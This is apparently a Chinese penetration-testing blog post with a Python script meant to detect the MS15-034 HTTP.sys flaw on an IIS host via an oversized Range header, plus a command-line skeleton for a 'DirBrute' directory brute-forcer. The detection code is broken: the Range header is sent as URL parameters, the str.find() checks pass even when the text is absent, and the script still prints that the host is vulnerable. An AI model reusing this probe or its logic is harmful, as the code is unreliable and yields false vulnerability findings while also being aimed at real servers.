渗透测试***漏洞检测工具命令行工具

MS15-034测试方法连接网页

https://blog.csdn.net/Jiajiajiang_/article/details/80742955

Microsoft Windows - 'HTTP.sys' (PoC) (MS15-034) 网站参考：

https://www.exploit-db.com/exploits/36773

一   漏洞检测工具

import requests

#捕捉漏洞检测工具

url='http://192.168.1.3/'

r=requests.get(url)

remote_request=r.headers['Server']

if remote_request.find('IIS/10.0')or remote_request.find('IIS/8.5'):

protype={'Host':'stuff','Range':'bytes = 0 - 18446744073709551615'}

r1=requests.get(url,params=protype)

print(r1.request.headers)

print(r1.content)

if str(r1.content).find('Requested Range Not Satisfiable'):

print(url+' already exits  ms15-034')

else:

print(url+'not exits ms15-034')

else:

print('Server not has IIS/10.0')

控制台输出

D:\python\python.exe D:/Flask项目设计/penetration_test/apps/requests_test.py

{'User-Agent': 'python-requests/2.23.0', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

b'\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n

\r\n\r\n

\r\n\r\n'

http://192.168.1.3/ already exits  ms15-034

二   命令行工具参数获得

pycharm编辑代码如下：

#命令行工具参数获得

import getopt

import sys

def banner():

print('*'*51)

print('*'*2+' '*17+'DirBrute v1.0'+' '*17+'*'*2)

print('This tool just develop for education!')

print('*'*51)

def usage():

print("This is the tool's usage")

print('Python DirBrute -u url -t thread  -d dictionary')

usage()

banner()

opts, args=getopt.getopt(sys.argv[1:],"u:t:d")

for k,vin opts:

print(k)

print(v)

print('*'*50)

print(type(opts))

print(opts)

print(type(args))

print(args)

项目文件夹结构

控制台输出命令：

在控制台输出命令之后显示在控制台上面的内容

***************************************************

**                DirBrute v1.0                **

This tool just develop for education!

***************************************************

This is the tool's usage

Python DirBrute -u url -t thread  -d dictionary

[('-u', 'http://127.0.0.1'), ('-t', '5'), ('-d', '')]

['dir.txt']

(my_flask) D:\Flask项目设计\my_flask\ch1>python tencent_test.py -u http://127.0.0.1 -t 5 -d dir.t

xt

***************************************************

**                DirBrute v1.0                **

This tool just develop for education!

***************************************************

This is the tool's usage

Python DirBrute -u url -t thread  -d dictionary

-u

http://127.0.0.1

-t

5

-d

[('-u', 'http://127.0.0.1'), ('-t', '5'), ('-d', '')]

['dir.txt']

(my_flask) D:\Flask项目设计\my_flask\ch1>python tencent_test.py -u http://127.0.0.1 -t 5 -d dir.t

xt

***************************************************

**                DirBrute v1.0                **

This tool just develop for education!

***************************************************

This is the tool's usage

Python DirBrute -u url -t thread  -d dictionary

-u

http://127.0.0.1

-t

5

-d